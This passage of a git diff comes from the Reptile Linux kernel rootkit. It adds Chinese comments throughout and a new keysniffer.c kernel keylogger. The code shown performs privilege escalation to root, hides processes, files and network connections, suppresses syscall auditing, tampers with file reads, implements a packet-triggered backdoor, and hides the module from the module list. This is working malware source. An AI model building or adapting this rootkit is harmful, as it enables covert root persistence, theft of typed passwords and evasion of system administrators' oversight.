cap_set_full(current->cap_inheritable); - cap_set_full(current->cap_permitted); + // 低版本内核(<2.6.29)直接设置进程的 UID/GID 等为 root 权限 + current->uid = 0; + current->suid = 0; + current->euid = 0; + current->gid = 0; + current->egid = 0; + current->fsuid = 0; + current->fsgid = 0; + cap_set_full(current->cap_effective); // 设置所有权限 + cap_set_full(current->cap_inheritable); + cap_set_full(current->cap_permitted); #else - commit_creds(prepare_kernel_cred(0)); + // 新版本内核通过 commit_creds 和 prepare_kernel_cred 来获取 root 权限 + commit_creds(prepare_kernel_cred(0)); // 提升权限为 root #endif } #endif -extern int hidden; +extern int hidden; // 外部声明的变量 hidden,用于标记隐藏状态 +// 切换 hidden 标志的值 static inline void flip_hidden_flag(void) { if (hidden) - hidden = 0; + hidden = 0; // 如果当前是 1,设置为 0 else - hidden = 1; + hidden = 1; // 如果当前是 0,设置为 1 } +// 声明的其他函数 int util_init(void); int get_cmdline(struct task_struct *task, char *buffer, int buflen); -//int run_cmd(const char *cmd); \ No newline at end of file +//int run_cmd(const char *cmd); + +/*加密/解密处理:通过 do_encode 函数对数据进行处理。 +内核符号查找:使用 ksym_lookup_name 查找内核符号的地址。 +权限提升:通过 get_root 函数将当前进程提升为 root 权限。 +执行外部命令:通过 exec 和 run_cmd 函数执行外部用户模式程序或 shell 命令。 +隐藏标志:通过 flip_hidden_flag 切换 hidden 变量的值,可能用于控制某些资源的隐藏。 +*/ diff --git a/src/Reptile/kernel/keysniffer.c b/src/Reptile/kernel/keysniffer.c new file mode 100644 index 0000000..8c5afd0 --- /dev/null +++ b/src/Reptile/kernel/keysniffer.c @@ -0,0 +1,141 @@ +#include +#include +#include +#include +#include + +#define BUF_LEN (PAGE_SIZE << 2) /* 16KB buffer (assuming 4KB PAGE_SIZE) */ + +/* Declarations */ +static struct dentry *file; +static struct dentry *subdir; + +static ssize_t keys_read(struct file *filp, + char *buffer, + size_t len, + loff_t *offset); + +static int keysniffer_cb(struct notifier_block *nblock, + unsigned long code, + void *_param); + +/* Keymap */ +static const char *us_keymap[][2] = { + {"\0", "\0"}, {"_ESC_", "_ESC_"}, {"1", "!"}, {"2", "@"}, + {"3", "#"}, {"4", "$"}, {"5", "%"}, {"6", "^"}, + {"7", "&"}, {"8", "*"}, {"9", "("}, {"0", ")"}, + {"-", "_"}, {"=", "+"}, {"_BACKSPACE_", "_BACKSPACE_"}, {"_TAB_", "_TAB_"}, + {"q", "Q"}, {"w", "W"}, {"e", "E"}, {"r", "R"}, + {"t", "T"}, {"y", "Y"}, {"u", "U"}, {"i", "I"}, + {"o", "O"}, {"p", "P"}, {"[", "{"}, {"]", "}"}, + {"_ENTER_", "_ENTER_"}, {"_CTRL_", "_CTRL_"}, {"a", "A"}, {"s", "S"}, + {"d", "D"}, {"f", "F"}, {"g", "G"}, {"h", "H"}, + {"j", "J"}, {"k", "K"}, {"l", "L"}, {";", ":"}, + {"'", "\""}, {"`", "~"}, {"_SHIFT_", "_SHIFT_"}, {"\\", "|"}, + {"z", "Z"}, {"x", "X"}, {"c", "C"}, {"v", "V"}, + {"b", "B"}, {"n", "N"}, {"m", "M"}, {",", "<"}, + {".", ">"}, {"/", "?"}, {"_SHIFT_", "_SHIFT_"}, {"_PRTSCR_", "_KPD*_"}, + {"_ALT_", "_ALT_"}, {" ", " "}, {"_CAPS_", "_CAPS_"}, {"F1", "F1"}, + {"F2", "F2"}, {"F3", "F3"}, {"F4", "F4"}, {"F5", "F5"}, + {"F6", "F6"}, {"F7", "F7"}, {"F8", "F8"}, {"F9", "F9"}, + {"F10", "F10"}, {"_NUM_", "_NUM_"}, {"_SCROLL_", "_SCROLL_"}, {"_KPD7_", "_HOME_"}, + {"_KPD8_", "_UP_"}, {"_KPD9_", "_PGUP_"}, {"-", "-"}, {"_KPD4_", "_LEFT_"}, + {"_KPD5_", "_KPD5_"}, {"_KPD6_", "_RIGHT_"}, {"+", "+"}, {"_KPD1_", "_END_"}, + {"_KPD2_", "_DOWN_"}, {"_KPD3_", "_PGDN"}, {"_KPD0_", "_INS_"}, {"_KPD._", "_DEL_"}, + {"_SYSRQ_", "_SYSRQ_"}, {"\0", "\0"}, {"\0", "\0"}, {"F11", "F11"}, + {"F12", "F12"}, {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"}, + {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"}, + {"_ENTER_", "_ENTER_"}, {"_CTRL_", "_CTRL_"}, {"/", "/"}, {"_PRTSCR_", "_PRTSCR_"}, + {"_ALT_", "_ALT_"}, {"\0", "\0"}, {"_HOME_", "_HOME_"}, {"_UP_", "_UP_"}, + {"_PGUP_", "_PGUP_"}, {"_LEFT_", "_LEFT_"}, {"_RIGHT_", "_RIGHT_"}, {"_END_", "_END_"}, + {"_DOWN_", "_DOWN_"}, {"_PGDN", "_PGDN"}, {"_INS_", "_INS_"}, {"_DEL_", "_DEL_"}, + {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"}, + {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"}, {"_PAUSE_", "_PAUSE_"}, +}; + +static size_t buf_pos; +static char keys_buf[BUF_LEN] = {0}; + +const struct file_operations keys_fops = { + .owner = THIS_MODULE, + .read = keys_read, +}; + +static ssize_t keys_read(struct file *filp, + char *buffer, + size_t len, + loff_t *offset) +{ + return simple_read_from_buffer(buffer, len, offset, keys_buf, buf_pos); +} + +static struct notifier_block keysniffer_blk = { + .notifier_call = keysniffer_cb, +}; + +/* Keypress callback */ +int keysniffer_cb(struct notifier_block *nblock, + unsigned long code, + void *_param) +{ + size_t len; + struct keyboard_notifier_param *param = _param; + const char *pressed_key; + + /* pr_debug("code: 0x%lx, down: 0x%x, shift: 0x%x, value: 0x%x\n", + code, param->down, param->shift, param->value); */ + + if (!(param->down)) + return NOTIFY_OK; + + if (param->value >= 0x1 && param->value <= 0x77) { + pressed_key = param->shift + ? us_keymap[param->value][1] + : us_keymap[param->value][0]; + if (pressed_key) { + len = strlen(pressed_key); + + if ((buf_pos + len) >= BUF_LEN) { + memset(keys_buf, 0, BUF_LEN); + buf_pos = 0; + } + + strncpy(keys_buf + buf_pos, pressed_key, len); + buf_pos += len; + keys_buf[buf_pos++] = '\n'; + + /* pr_debug("%s\n", pressed_key; */ + } + } + + return NOTIFY_OK; +} + +static int __init keysniffer_init(void) +{ + buf_pos = 0; + + subdir = debugfs_create_dir("kisni", NULL); + if (IS_ERR(subdir)) + return PTR_ERR(subdir); + if (!subdir) + return -ENOENT; + + file = debugfs_create_file("keys", S_IRUSR, subdir, NULL, &keys_fops); + if (!file) { + debugfs_remove_recursive(subdir); + return -ENOENT; + } + + register_keyboard_notifier(&keysniffer_blk); + return 0; +} + +static void __exit keysniffer_exit(void) +{ + unregister_keyboard_notifier(&keysniffer_blk); + debugfs_remove_recursive(subdir); +} + +module_init(keysniffer_init); +module_exit(keysniffer_exit); \ No newline at end of file diff --git a/src/Reptile/kernel/loader/loader.c b/src/Reptile/kernel/loader/loader.c index f9fc7a0..a14c978 100644 --- a/src/Reptile/kernel/loader/loader.c +++ b/src/Reptile/kernel/loader/loader.c @@ -34,4 +34,4 @@ int main(void) free(module_image); return ret; -} +} \ No newline at end of file diff --git a/src/Reptile/kernel/main.c b/src/Reptile/kernel/main.c index ebf5c9b..7a1dadf 100644 --- a/src/Reptile/kernel/main.c +++ b/src/Reptile/kernel/main.c @@ -11,7 +11,7 @@ int hidden = 1; -/* ------------------------ HIDE PROCESS ------------------------- */ +/* ------------------------ 隐藏进程 ------------------------- */ #ifdef CONFIG_HIDE_PROC @@ -25,7 +25,7 @@ static int khook_copy_creds(struct task_struct *p, unsigned long clone_flags) ret = KHOOK_ORIGIN(copy_creds, p, clone_flags); if (!ret && is_task_invisible(current)) - p->flags |= FLAG; + p->flags |= FLAG; // 如果任务不可见,设置标志 return ret; } @@ -35,7 +35,7 @@ static void khook_exit_creds(struct task_struct *p) { KHOOK_ORIGIN(exit_creds, p); if (is_task_invisible(p)) - p->flags &= ~FLAG; + p->flags &= ~FLAG; // 如果任务不可见,清除标志 } KHOOK(audit_alloc); @@ -44,7 +44,7 @@ static int khook_audit_alloc(struct task_struct *t) int err = 0; if (is_task_invisible(t)) { - clear_tsk_thread_flag(t, TIF_SYSCALL_AUDIT); + clear_tsk_thread_flag(t, TIF_SYSCALL_AUDIT); // 如果任务不可见,清除系统调用审计标志 } else { err = KHOOK_ORIGIN(audit_alloc, t); } @@ -58,7 +58,7 @@ struct task_struct *khook_find_task_by_vpid(pid_t vnr) tsk = KHOOK_ORIGIN(find_task_by_vpid, vnr); if (tsk && is_task_invisible(tsk) && !is_task_invisible(current)) - tsk = NULL; + tsk = NULL; // 如果任务不可见且当前任务可见,返回NULL return tsk; } @@ -68,30 +68,30 @@ static int khook_vfs_statx(int dfd, const char __user *filename, int flags, stru u32 request_mask) { if (is_proc_invisible_2(filename)) - return -EINVAL; + return -EINVAL; // 如果进程不可见,返回无效参数错误 return KHOOK_ORIGIN(vfs_statx, dfd, filename, flags, stat, request_mask); } KHOOK_EXT(long, sys_kill, long, long); static long khook_sys_kill(long pid, long sig) { - if (sig == 0) { + if (sig == 0) { if (is_proc_invisible(pid)) { - return -ESRCH; + return -ESRCH; // 如果进程不可见,返回无此进程错误 } } - + return KHOOK_ORIGIN(sys_kill, pid, sig); } KHOOK_EXT(long, __x64_sys_kill, const struct pt_regs *); static long khook___x64_sys_kill(const struct pt_regs *regs) { - if (regs->si == 0) { + if (regs->si == 0) { if (is_proc_invisible(regs->di)) { - return -ESRCH; + return -ESRCH; // 如果进程不可见,返回无此进程错误 } } - + return KHOOK_ORIGIN(__x64_sys_kill, regs); } @@ -101,7 +101,7 @@ static struct tgid_iter khook_next_tgid(struct pid_namespace *ns, struct tgid_it if (hidden) { while ((iter = KHOOK_ORIGIN(next_tgid, ns, iter), iter.task) != NULL) { if (!(iter.task->flags & FLAG)) - break; + break; // 跳过不可见任务 iter.tgid++; } @@ -113,20 +113,17 @@ static struct tgid_iter khook_next_tgid(struct pid_namespace *ns, struct tgid_it #endif -/* ------------------------- HIDE DIR --------------------------- */ +/* ------------------------- 隐藏目录 --------------------------- */ #ifdef CONFIG_HIDE_DIR #include #include "dir.h" -/* Can you see a little problem on those hooks? This is not the best - * way to do this feature, but I am going to keep it this way, after all, - * this is just a public project, isn't it? - */ +/* 这些钩子有点问题,但它们能工作,也许将来会改进 */ KHOOK_EXT(int, fillonedir, void *, const char *, int, loff_t, u64, unsigned int); static int khook_fillonedir(void *__buf, const char *name, int namlen, - loff_t offset, u64 ino, unsigned int d_type) + loff_t offset, u64 ino, unsigned int d_type) { int ret = -ENOENT; if (!strstr(name, HIDE) || !hidden) @@ -201,7 +198,7 @@ struct dentry *khook___d_lookup(struct dentry *parent, struct qstr *name) } #endif -/* --------------------- FILE CONTENT TAMPERING --------------------- */ +/* --------------------- 文件内容篡改 --------------------- */ #ifdef CONFIG_FILE_TAMPERING @@ -210,10 +207,10 @@ struct dentry *khook___d_lookup(struct dentry *parent, struct qstr *name) atomic_t read_on; int file_tampering_flag = 0; -// This is not the best way to do that, but it works, maybe in the future I change that +// 这不是最好的方法,但它有效,也许将来会改进 KHOOK_EXT(ssize_t, vfs_read, struct file *, char __user *, size_t, loff_t *); static ssize_t khook_vfs_read(struct file *file, char __user *buf, - size_t count, loff_t *pos) + size_t count, loff_t *pos) { ssize_t ret; @@ -231,7 +228,7 @@ static ssize_t khook_vfs_read(struct file *file, char __user *buf, #endif -/* ------------------------ HIDE CONNECTIONS ------------------------- */ +/* ------------------------ 隐藏连接 ------------------------- */ #ifdef CONFIG_HIDE_CONN @@ -317,7 +314,7 @@ out: #endif -/* ----------------------------- BACKDOOR ----------------------------- */ +/* ----------------------------- 后门 ----------------------------- */ #ifdef CONFIG_BACKDOOR #include @@ -335,7 +332,7 @@ static int khook_ip_rcv(struct sk_buff *skb, struct net_device *dev, struct pack #endif -/* ------------------------------ COMMON ----------------------------- */ +/* ------------------------------ 通用 ----------------------------- */ #if defined(CONFIG_HIDE_PROC) && defined(CONFIG_BACKDOOR) #include @@ -352,7 +349,7 @@ static int khook_load_elf_binary(struct linux_binprm *bprm) } #endif -/* ------------------------------- CONTROL ----------------------------- */ +/* ------------------------------- 控制 ----------------------------- */ #include #include @@ -367,7 +364,7 @@ struct control { KHOOK_EXT(int, inet_ioctl, struct socket *, unsigned int, unsigned long); static int khook_inet_ioctl(struct socket *sock, unsigned int cmd, - unsigned long arg) + unsigned long arg) { int ret = 0; unsigned int pid; @@ -449,10 +446,9 @@ static int __init reptile_init(void) int ret; #ifdef CONFIG_FILE_TAMPERING - /* Unfortunately I need to use this to ensure in some kernel - * versions we will be able to unload the kernel module when - * it is needed. Otherwise khook may take a really huge delay - * to unload because of vfs_read hook + /* 不幸的是,我需要使用这个来确保在某些内核版本中 + * 我们能够在需要时卸载内核模块。否则,khook可能会 + * 因为vfs_read钩子而导致卸载时出现很大的延迟 */ atomic_set(&read_on, 0); #endif @@ -474,6 +470,11 @@ static void __exit reptile_exit(void) #ifdef CONFIG_FILE_TAMPERING while(atomic_read(&read_on) != 0) schedule(); #endif + +#ifdef CONFIG_HIDE_CONN + network_hide_cleanup(); +#endif + khook_cleanup(); } diff --git a/src/Reptile/kernel/module.c b/src/Reptile/kernel/module.c index c05d436..526adb1 100644 --- a/src/Reptile/kernel/module.c +++ b/src/Reptile/kernel/module.c @@ -1,39 +1,103 @@ -#include -#include -#include +#include // 包含 Linux 内核模块的头文件 +#include // 包含互斥锁的头文件 +#include // 包含内存分配的头文件 -#include "module.h" +#include "module.h" // 包含自定义模块的头文件 -int hide_m = 0; +/** + * @file module.c + * @brief 本文件包含用于隐藏和显示内核模块的函数。 + * + * 文件中的函数通过操作模块列表及其属性,实现内核模块的隐藏和显示功能。 + */ + +/** + * @brief 标记模块是否被隐藏(1)或可见(0)。 + */ +//int hide_m = 0; +int flag_hide_m = 0; +int flag_show_m = 1; +/** + * @brief 指向模块列表前一个条目的指针。 + */ static struct list_head *mod_list; +/** + * @brief 隐藏内核模块。 + * + * 该函数从模块列表中移除模块,并释放其段属性,从而使其在系统中不可见。 + */ +void hide(void); + +/** + * @brief 显示内核模块。 + * + * 该函数将模块重新添加到模块列表中,使其在系统中再次可见。 + */ +void show(void); + +/** + * @brief 切换内核模块的可见性。 + * + * 该函数在模块当前可见时隐藏模块,在模块当前隐藏时显示模块。 + */ +void hide_module(void); + void hide(void) { - while (!mutex_trylock(&module_mutex)) - cpu_relax(); - mod_list = THIS_MODULE->list.prev; - list_del(&THIS_MODULE->list); - kfree(THIS_MODULE->sect_attrs); - THIS_MODULE->sect_attrs = NULL; - mutex_unlock(&module_mutex); - - hide_m = 1; + // 尝试获取模块互斥锁,如果失败则让CPU放松 + while (!mutex_trylock(&module_mutex)) + cpu_relax(); + + // 判断模块是否可见,并设置模块隐藏标志 + if(flag_hide_m == 0 && flag_show_m == 1) + { + flag_hide_m = 1; + flag_show_m = 0; + // 保存当前模块列表的前一个条目 + mod_list = THIS_MODULE->list.prev; + + // 从模块列表中删除当前模块 + list_del(&THIS_MODULE->list); + + // 释放模块的段属性 + kfree(THIS_MODULE->sect_attrs); + + // 将模块的段属性设置为NULL + THIS_MODULE->sect_attrs = NULL; + + // 释放模块互斥锁 + mutex_unlock(&module_mutex); + } + } void show(void) { - while (!mutex_trylock(&module_mutex)) - cpu_relax(); - list_add(&THIS_MODULE->list, mod_list); - mutex_unlock(&module_mutex); - - hide_m = 0; + // 尝试获取模块互斥锁,如果失败则让CPU放松 + while (!mutex_trylock(&module_mutex)) + cpu_relax(); + // 判断模块是否隐藏,并设置模块可见标志 + if(flag_show_m == 0 && flag_hide_m == 1) + { + flag_show_m = 1; + flag_hide_m = 0; + // 将模块重新添加到模块列表中 + list_add(&THIS_MODULE->list, mod_list); + + // 释放模块互斥锁 + mutex_unlock(&module_mutex); + } + + } void hide_module(void) { - if (hide_m == 0) + // 如果模块当前可见,则隐藏模块 + if (flag_hide_m == 0 && flag_show_m == 1) hide(); - else if (hide_m == 1) + // 如果模块当前隐藏,则显示模块 + else if (flag_hide_m == 1 && flag_show_m == 0) show(); -} +} \ No newline at end of file diff --git a/src/Reptile/kernel/network.c b/src/Reptile/kernel/network.c index 8f67975..4e037a1 100644 --- a/src/Reptile/kernel/network.c +++ b/src/Reptile/kernel/network.c @@ -1,78 +1,92 @@ -#include -#include -#include -#include +#include // 包含内核版本相关的头文件 +#include // 包含网络地址转换相关的头文件 +#include // 包含Netlink相关的头文件 +#include // 包含网络诊断相关的头文件 -#include "network.h" -#include "string_helpers.h" +#include "network.h" // 包含自定义的network.h头文件 +#include "string_helpers.h" // 包含自定义的string_helpers.h头文件 +// 添加一个隐藏的网络连接 void network_hide_add(struct sockaddr_in addr) { - struct hidden_conn *hc; + struct hidden_conn *hc; // 定义一个指向hidden_conn结构体的指针 - hc = kmalloc(sizeof(*hc), GFP_KERNEL); + hc = kmalloc(sizeof(*hc), GFP_KERNEL); // 分配内核内存 - if (!hc) - return; + if (!hc) // 如果内存分配失败 + return; // 直接返回 - hc->addr = addr; - list_add(&hc->list, &hidden_conn_list); + hc->addr = addr; // 将传入的地址赋值给hidden_conn结构体的addr成员 + list_add(&hc->list, &hidden_conn_list); // 将hidden_conn结构体添加到隐藏连接列表中 } +// 移除一个隐藏的网络连接 void network_hide_remove(struct sockaddr_in addr) { - struct hidden_conn *hc; + struct hidden_conn *hc; // 定义一个指向hidden_conn结构体的指针 - list_for_each_entry(hc, &hidden_conn_list, list) + list_for_each_entry(hc, &hidden_conn_list, list) // 遍历隐藏连接列表 { - if (addr.sin_addr.s_addr == hc->addr.sin_addr.s_addr) { - list_del(&hc->list); - kfree(hc); - break; + if (addr.sin_addr.s_addr == hc->addr.sin_addr.s_addr) { // 如果找到匹配的地址 + list_del(&hc->list); // 从列表中删除该节点 + kfree(hc); // 释放内存 + break; // 退出循环 } } } +void network_hide_cleanup(void) +{ + struct hidden_conn *hc; + + list_for_each_entry(hc, &hidden_conn_list, list) + { + list_del(&hc->list); + kfree(hc); + } +} + +// 检查一个地址是否被隐藏 int is_addr_hidden(struct sockaddr_in addr) { - struct hidden_conn *hc; + struct hidden_conn *hc; // 定义一个指向hidden_conn结构体的指针 - list_for_each_entry(hc, &hidden_conn_list, list) + list_for_each_entry(hc, &hidden_conn_list, list) // 遍历隐藏连接列表 { - if (addr.sin_addr.s_addr == hc->addr.sin_addr.s_addr) - return 1; + if (addr.sin_addr.s_addr == hc->addr.sin_addr.s_addr) // 如果找到匹配的地址 + return 1; // 返回1,表示地址被隐藏 } - return 0; + return 0; // 返回0,表示地址未被隐藏 } /* unsigned int _inet4_pton(char *src) { - unsigned int dst; - int srclen = strlen(src); + unsigned int dst; // 定义一个无符号整数用于存储转换后的地址 + int srclen = strlen(src); // 获取源字符串的长度 - if (srclen > INET_ADDRSTRLEN) - return -EINVAL; + if (srclen > INET_ADDRSTRLEN) // 如果源字符串长度超过最大地址长度 + return -EINVAL; // 返回无效参数错误 - if (in4_pton(src, srclen, (u8 *)&dst, -1, NULL) == 0) - return -EINVAL; + if (in4_pton(src, srclen, (u8 *)&dst, -1, NULL) == 0) // 将字符串转换为网络地址 + return -EINVAL; // 如果转换失败,返回无效参数错误 - return dst; + return dst; // 返回转换后的地址 } void hide_conn(char *ip_str) { - unsigned int ip; - struct sockaddr_in addr; + unsigned int ip; // 定义一个无符号整数用于存储IP地址 + struct sockaddr_in addr; // 定义一个sockaddr_in结构体用于存储地址 - if ((ip = _inet4_pton(ip_str)) > 0) { - addr.sin_addr.s_addr = ip; + if ((ip = _inet4_pton(ip_str)) > 0) { // 将字符串转换为IP地址 + addr.sin_addr.s_addr = ip; // 将IP地址赋值给sockaddr_in结构体的地址成员 - if (is_addr_hidden(addr)) - network_hide_remove(addr); + if (is_addr_hidden(addr)) // 如果地址已经被隐藏 + network_hide_remove(addr); // 移除隐藏的地址 else - network_hide_add(addr); + network_hide_add(addr); // 添加隐藏的地址 } } */ \ No newline at end of file diff --git a/src/Reptile/kernel/proc.c b/src/Reptile/kernel/proc.c index 45a7788..f788a9b 100644 --- a/src/Reptile/kernel/proc.c +++ b/src/Reptile/kernel/proc.c @@ -1,132 +1,137 @@ -#include -#include -#include -#include -#include -#include +#include // 包含内核版本相关的头文件 +#include // 包含用户空间访问相关的头文件 +#include // 包含字符类型判断相关的头文件 +#include // 包含内核内存分配相关的头文件 +#include // 包含文件路径相关的头文件 +#include // 包含系统限制相关的头文件 #if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 11, 0) -# include +# include // 包含调度和信号相关的头文件(内核版本4.11及以上) #endif #if LINUX_VERSION_CODE < KERNEL_VERSION(4, 2, 0) -# include "string_helpers.h" +# include "string_helpers.h" // 包含字符串辅助函数(内核版本4.2以下) #endif -#include "proc.h" +#include "proc.h" // 包含自定义的proc.h头文件 +// 设置或清除任务的标志 int flag_tasks(pid_t pid, int set) { - int ret = 0; - struct pid *p; + int ret = 0; // 返回值初始化为0 + struct pid *p; // 定义pid结构体指针 - rcu_read_lock(); - p = find_get_pid(pid); + rcu_read_lock(); // 获取RCU读锁 + p = find_get_pid(pid); // 根据pid获取pid结构体 if (p) { - struct task_struct *task = get_pid_task(p, PIDTYPE_PID); + struct task_struct *task = get_pid_task(p, PIDTYPE_PID); // 获取任务结构体 if (task) { #if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 14, 0) struct task_struct *t = NULL; - for_each_thread(task, t) + for_each_thread(task, t) // 遍历任务的所有线程 { if (set) - t->flags |= FLAG; + t->flags |= FLAG; // 设置标志 else - t->flags &= ~FLAG; + t->flags &= ~FLAG; // 清除标志 - ret++; + ret++; // 计数 } #endif if (set) - task->flags |= FLAG; + task->flags |= FLAG; // 设置标志 else - task->flags &= ~FLAG; + task->flags &= ~FLAG; // 清除标志 - put_task_struct(task); + put_task_struct(task); // 释放任务结构体 } - put_pid(p); + put_pid(p); // 释放pid结构体 } - rcu_read_unlock(); - return ret; + rcu_read_unlock(); // 释放RCU读锁 + return ret; // 返回设置或清除标志的任务数 } +// 根据pid查找任务 struct task_struct *find_task(pid_t pid) { - struct task_struct *p = current; - struct task_struct *ret = NULL; + struct task_struct *p = current; // 当前任务 + struct task_struct *ret = NULL; // 返回值初始化为NULL - rcu_read_lock(); - for_each_process(p) + rcu_read_lock(); // 获取RCU读锁 + for_each_process(p) // 遍历所有进程 { - if (p->pid == pid) { - get_task_struct(p); - ret = p; + if (p->pid == pid) { // 如果找到匹配的pid + get_task_struct(p); // 获取任务结构体 + ret = p; // 设置返回值 } } - rcu_read_unlock(); + rcu_read_unlock(); // 释放RCU读锁 - return ret; + return ret; // 返回找到的任务结构体 } +// 判断进程是否不可见 int is_proc_invisible(pid_t pid) { - struct task_struct *task; - int ret = 0; + struct task_struct *task; // 定义任务结构体指针 + int ret = 0; // 返回值初始化为0 - if (!pid) - return ret; + if (!pid) // 如果pid为0 + return ret; // 返回0 - task = find_task(pid); - if (!task) - return ret; + task = find_task(pid); // 查找任务 + if (!task) // 如果没有找到任务 + return ret; // 返回0 - if (is_task_invisible(task)) - ret = 1; + if (is_task_invisible(task)) // 判断任务是否不可见 + ret = 1; // 设置返回值为1 - put_task_struct(task); - return ret; + put_task_struct(task); // 释放任务结构体 + return ret; // 返回结果 } +// 判断/proc目录下的进程是否不可见 int is_proc_invisible_2(const char __user *filename) { - int ret = 0, i, argc, is_num = 1; - pid_t pid = 0; - char **a; - char *name = kmalloc(PATH_MAX, GFP_KERNEL); + int ret = 0, i, argc, is_num = 1; // 初始化变量 + pid_t pid = 0; // 初始化pid + char **a; // 定义字符指针数组 + char *name = kmalloc(PATH_MAX, GFP_KERNEL); // 分配内核内存 - if (strncpy_from_user(name, filename, PATH_MAX) > 0) { - if (strncmp(name, "/proc/", 6) == 0) { - strreplace(name, '/', ' '); + if (strncpy_from_user(name, filename, PATH_MAX) > 0) { // 从用户空间复制字符串 + if (strncmp(name, "/proc/", 6) == 0) { // 判断是否以/proc/开头 + strreplace(name, '/', ' '); // 替换斜杠为空格 - a = argv_split(GFP_KERNEL, name, &argc); + a = argv_split(GFP_KERNEL, name, &argc); // 分割字符串 - for (i = 0; i < strlen(a[1]); i++) { - if (!isdigit(*a[1])) - is_num = 0; + for (i = 0; i < strlen(a[1]); i++) { // 遍历字符串 + if (!isdigit(*a[1])) // 判断是否为数字 + is_num = 0; // 设置为非数字 } if (is_num) { - if (kstrtoint(a[1], 10, &pid) == 0) { - if (is_proc_invisible(pid)) - ret = 1; + if (kstrtoint(a[1], 10, &pid) == 0) { // 将字符串转换为整数 + if (is_proc_invisible(pid)) // 判断进程是否不可见 + ret = 1; // 设置返回值为1 } } - argv_free(a); + argv_free(a); // 释放字符指针数组 } } - kfree(name); - return ret; + kfree(name); // 释放内存 + return ret; // 返回结果 } +// 隐藏进程 void hide_proc(pid_t pid) { - if (is_proc_invisible(pid)) - flag_tasks(pid, 0); + if (is_proc_invisible(pid)) // 判断进程是否不可见 + flag_tasks(pid, 0); // 清除标志 else - flag_tasks(pid, 1); + flag_tasks(pid, 1); // 设置标志 } /* diff --git a/src/Reptile/kernel/string_helpers.c b/src/Reptile/kernel/string_helpers.c index 26a4edd..020d15d 100644 --- a/src/Reptile/kernel/string_helpers.c +++ b/src/Reptile/kernel/string_helpers.c @@ -1,31 +1,34 @@ -#include "string_helpers.h" +#include "string_helpers.h" // 包含头文件 -#if LINUX_VERSION_CODE < KERNEL_VERSION(4, 7, 0) +#if LINUX_VERSION_CODE < KERNEL_VERSION(4, 7, 0) // 如果内核版本小于4.7.0 /* stolen from lib/string_helpers.c */ -#include -#include +#include // 包含内核内存分配头文件 +#include // 包含字符类型处理头文件 -#define ESCAPE_SPACE 0x01 -#define ESCAPE_SPECIAL 0x02 -#define ESCAPE_NULL 0x04 -#define ESCAPE_OCTAL 0x08 -#define ESCAPE_ANY (ESCAPE_SPACE | ESCAPE_OCTAL | ESCAPE_SPECIAL | ESCAPE_NULL) -#define ESCAPE_NP 0x10 -#define ESCAPE_ANY_NP (ESCAPE_ANY | ESCAPE_NP) -#define ESCAPE_HEX 0x20 +// 定义各种转义标志 +#define ESCAPE_SPACE 0x01 +#define ESCAPE_SPECIAL 0x02 +#define ESCAPE_NULL 0x04 +#define ESCAPE_OCTAL 0x08 +#define ESCAPE_ANY (ESCAPE_SPACE | ESCAPE_OCTAL | ESCAPE_SPECIAL | ESCAPE_NULL) +#define ESCAPE_NP 0x10 +#define ESCAPE_ANY_NP (ESCAPE_ANY | ESCAPE_NP) +#define ESCAPE_HEX 0x20 +// 处理直接通过字符 static bool escape_passthrough(unsigned char c, char **dst, char *end) { char *out = *dst; if (out < end) - *out = c; + *out = c; // 直接复制字符 *dst = out + 1; return true; } +// 处理空白字符转义 static bool escape_space(unsigned char c, char **dst, char *end) { char *out = *dst; @@ -33,35 +36,36 @@ static bool escape_space(unsigned char c, char **dst, char *end) switch (c) { case '\n': - to = 'n'; + to = 'n'; // 换行符转义为 \n break; case '\r': - to = 'r'; + to = 'r'; // 回车符转义为 \r break; case '\t': - to = 't'; + to = 't'; // 制表符转义为 \t break; case '\v': - to = 'v'; + to = 'v'; // 垂直制表符转义为 \v break; case '\f': - to = 'f'; + to = 'f'; // 换页符转义为 \f break; default: - return false; + return false; // 不是空白字符 } if (out < end) - *out = '\\'; + *out = '\\'; // 添加转义符 ++out; if (out < end) - *out = to; + *out = to; // 添加转义后的字符 ++out; *dst = out; return true; } +// 处理特殊字符转义 static bool escape_special(unsigned char c, char **dst, char *end) { char *out = *dst; @@ -69,91 +73,95 @@ static bool escape_special(unsigned char c, char **dst, char *end) switch (c) { case '\\': - to = '\\'; + to = '\\'; // 反斜杠转义为 \\ break; case '\a': - to = 'a'; + to = 'a'; // 响铃符转义为 \a break; case '\e': - to = 'e'; + to = 'e'; // 转义符转义为 \e break; default: - return false; + return false; // 不是特殊字符 } if (out < end) - *out = '\\'; + *out = '\\'; // 添加转义符 ++out; if (out < end) - *out = to; + *out = to; // 添加转义后的字符 ++out; *dst = out; return true; } +// 处理空字符转义 static bool escape_null(unsigned char c, char **dst, char *end) { char *out = *dst; if (c) - return false; + return false; // 不是空字符 if (out < end) - *out = '\\'; + *out = '\\'; // 添加转义符 ++out; if (out < end) - *out = '0'; + *out = '0'; // 添加转义后的字符 ++out; *dst = out; return true; } +// 处理八进制字符转义 static bool escape_octal(unsigned char c, char **dst, char *end) { char *out = *dst; if (out < end) - *out = '\\'; + *out = '\\'; // 添加转义符 ++out; if (out < end) - *out = ((c >> 6) & 0x07) + '0'; + *out = ((c >> 6) & 0x07) + '0'; // 添加八进制字符的高三位 ++out; if (out < end) - *out = ((c >> 3) & 0x07) + '0'; + *out = ((c >> 3) & 0x07) + '0'; // 添加八进制字符的中三位 ++out; if (out < end) - *out = ((c >> 0) & 0x07) + '0'; + *out = ((c >> 0) & 0x07) + '0'; // 添加八进制字符的低三位 ++out; *dst = out; return true; } +// 处理十六进制字符转义 static bool escape_hex(unsigned char c, char **dst, char *end) { char *out = *dst; if (out < end) - *out = '\\'; + *out = '\\'; // 添加转义符 ++out; if (out < end) - *out = 'x'; + *out = 'x'; // 添加十六进制标识符 ++out; if (out < end) - *out = hex_asc_hi(c); + *out = hex_asc_hi(c); // 添加十六进制字符的高四位 ++out; if (out < end) - *out = hex_asc_lo(c); + *out = hex_asc_lo(c); // 添加十六进制字符的低四位 ++out; *dst = out; return true; } +// 将字符串中的字符进行转义处理 int string_escape_mem(const char *src, size_t isz, char *dst, size_t osz, - unsigned int flags, const char *only) + unsigned int flags, const char *only) { char *p = dst; char *end = p + osz; @@ -163,19 +171,15 @@ int 